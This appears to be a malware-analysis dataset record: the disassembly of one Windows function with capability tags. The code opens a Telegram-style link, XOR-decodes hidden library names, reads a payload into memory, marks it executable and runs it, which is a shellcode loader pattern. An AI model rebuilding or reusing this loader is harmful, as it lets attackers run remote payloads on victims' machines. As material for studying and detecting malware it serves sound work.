Function at 0x1400014e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
lea r8, str.tg:__setlanguage_langclassic_zh_cn
lea rdx, str.open
xor edi, edi
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x58], 0x1d251e02
mov dword [rsp + 0x5c], 0x65070106
mov dword [rsp + 0x60], 0x191e11
mov ecx, edi
lea rdx, [rsp + 0x58]
lea r8d, [rdi + 0xb]
lea r15, [0x140000000]
nop word [rax + rax]
cmp word [r15 + rcx*2 + 0x8b50], di
cmove rcx, rdi
inc rdx
movzx eax, byte [r15 + rcx*2 + 0x8b50]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001580
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14000bee0], rax
call fcn.140001000
mov rcx, rax
mov r13, rax
call fcn.1400010a0
mov rcx, rax
mov r14, rax
call fcn.140001150
mov rcx, rax
mov r12, rax
call fcn.140001240
mov rcx, r12
call fcn.140001300
lea rcx, [rsp + 0x38]
call fcn.1400013b0
mov edx, 0x5aa
mov ecx, 0x40
mov ebx, edi
mov dword [rsp + 0x30], edi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
lea rdx, [rbp - 0x80]
mov r8d, 0x320
mov rcx, r12
mov rsi, rax
call rdi
test eax, eax
je 0x140001659
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x140001659
mov r8d, ecx
mov ecx, ebx
lea rdx, [rbp - 0x80]
add rcx, rsi
call fcn.140005180
add ebx, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
lea rdx, [rbp - 0x80]
mov r8d, 0x320
mov rcx, r12
call rdi
test eax, eax
jne 0x140001624
xor ebx, ebx
mov dword [rsp + 0x68], 0x1708223e
mov dword [rsp + 0x6c], 0x48741929
mov dword [rsp + 0x70], 0x2b192857
mov byte [rsp + 0x74], 0
lea rdx, [rsp + 0x68]
lea r8d, [rbx + 0xc]
mov ecx, ebx
nop word [rax + rax]
cmp word [r15 + rcx*2 + 0x8b10], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [r15 + rcx*2 + 0x8b10]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001690
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [rsp + 0x48], 0x3b083b1e
mov dword [rsp + 0x4c], 0x2a3e2917
mov dword [rsp + 0x50], 0x373c0d3d
mov word [rsp + 0x54], 0x3b19
mov byte [rsp + 0x56], bl
mov r11, rax
mov rcx, rbx
lea rdx, [rsp + 0x48]
mov r8d, 0xe
nop word [rax + rax]
cmp word [r15 + rcx*2 + 0x8ba0], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [r15 + rcx*2 + 0x8ba0]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001700
mov rcx, qword [0x14000bee0]
lea rdx, [rsp + 0x48]
test r11, r11
je 0x140001738
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x34]
mov edx, 0x5aa
mov r8d, 0x40
mov rcx, rsi
mov dword [rsp + 0x34], ebx
call rax
mov rbx, qword [rsp + 0x40]
mov rcx, r12
call rbx
mov rcx, r14
call rbx
mov rcx, r13
call rbx
call rsi
xor eax, eax
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.1400017b0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret